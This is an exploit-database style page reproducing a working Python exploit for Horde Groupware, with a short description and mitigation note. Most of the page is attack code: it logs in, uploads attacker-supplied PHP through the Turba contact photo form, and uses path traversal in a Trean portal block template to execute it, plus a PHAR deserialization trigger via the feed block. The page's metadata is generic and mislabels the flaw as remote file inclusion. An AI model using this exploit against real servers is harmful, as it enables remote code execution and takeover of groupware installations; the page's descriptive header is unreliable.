header-logo
Suggest Exploit
vendor:
N/A
by:
Anonymous
8.8
CVSS
HIGH
Remote File Inclusion (RFI)
98
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2020

Exploit Inc Inclusion

This exploit is used to include a remote file in the web application. It uses Horde library to log into the web application and upload a .inc file with the given php code. The uploaded file is then included in the web application using the include_remote_inc_file() method of the Horde library.

Mitigation:

The application should not allow the user to upload any file with .inc extension. The application should also restrict the user from including any remote file in the application.
Source

Exploit-DB raw data:

## exploit-inc-inclusion.py
#!/usr/bin/env python3
from horde import Horde
import subprocess
import sys

TEMP_DIR = '/tmp'

if len(sys.argv) < 5:
    print('Usage: <base_url> <username> <password> <filename> <php_code>')
    sys.exit(1)

base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
filename = sys.argv[4]
php_code = sys.argv[5]

# log into the web application
horde = Horde(base_url, username, password)

# upload (delete manually) and evaluate the .inc file
horde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code))
horde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename))
## exploit-inc-inclusion.py EOF



## horde.py
import re
import requests

class Horde():
    def __init__(self, base_url, username, password):
        self.base_url = base_url
        self.username = username
        self.password = password
        self.session = requests.session()
        self.token = None
        self._login()

    def _login(self):
        url = '{}/login.php'.format(self.base_url)
        data = {
            'login_post': 1,
            'horde_user': self.username,
            'horde_pass': self.password
        }
        response = self.session.post(url, data=data)
        token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)
        assert (
            len(response.history) == 1 and
            response.history[0].status_code == 302 and
            response.history[0].headers['location'] == '/services/portal/' and
            token_match
        ), 'Cannot log in'
        self.token = token_match.group(1)

    def upload_to_tmp(self, filename, data):
        url = '{}/turba/add.php'.format(self.base_url)
        files = {
            'object[photo][img][file]': (None, filename),
            'object[photo][new]': ('x', data)
        }
        response = self.session.post(url, files=files)
        assert response.status_code == 200, 'Cannot upload the file to tmp'

    def include_remote_inc_file(self, path):
        # vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
        app = 'trean:trean_Block_Bookmarks'

        # add one dummy bookmark (to be sure)
        url = '{}/trean/add.php'.format(self.base_url)
        data = {
            'actionID': 'add_bookmark',
            'url': 'x'
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot add the bookmark'

        # add bookmark block
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            'token': self.token,
            'row': 0,
            'col': 0,
            'action': 'save-resume',
            'app': app,
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot add the bookmark block'

        # edit bookmark block
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            'token': self.token,
            'row': 0,
            'col': 0,
            'action': 'save',
            'app': app,
            'params[template]': '../../../../../../../../../../../' + path
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot edit the bookmark block'

        # evaluate the remote file
        url = '{}/services/portal/'.format(self.base_url)
        response = self.session.get(url)
        print(response.text)

        # remove the bookmark block so to not break the page
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            # XXX token not needed here
            'row': 0,
            'col': 0,
            'action': 'removeBlock'
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot reset the bookmark block'

    def trigger_phar(self, path):
        # vulnerable block (alternatively the same can be obtained by creating a
        # bookmark with the PHAR path and clocking on it)
        app = 'horde:horde_Block_Feed'

        # add syndicated feed block
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            'token': self.token,
            'row': 0,
            'col': 0,
            'action': 'save-resume',
            'app': app,
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot add the syndicated feed block'

        # edit syndicated feed block
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            'token': self.token,
            'row': 0,
            'col': 0,
            'action': 'save',
            'app': app,
            'params[uri]': 'phar://{}'.format(path)
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot edit the syndicated feed block'

        # load the PHAR archive
        url = '{}/services/portal/'.format(self.base_url)
        response = self.session.get(url)

        # remove the syndicated feed block so to not break the page
        url = '{}/services/portal/edit.php'.format(self.base_url)
        data = {
            # XXX token not needed here
            'row': 0,
            'col': 0,
            'action': 'removeBlock'
        }
        response = self.session.post(url, data=data)
        assert response.status_code == 200, 'Cannot reset the syndicated feed block'
## horde.py EOF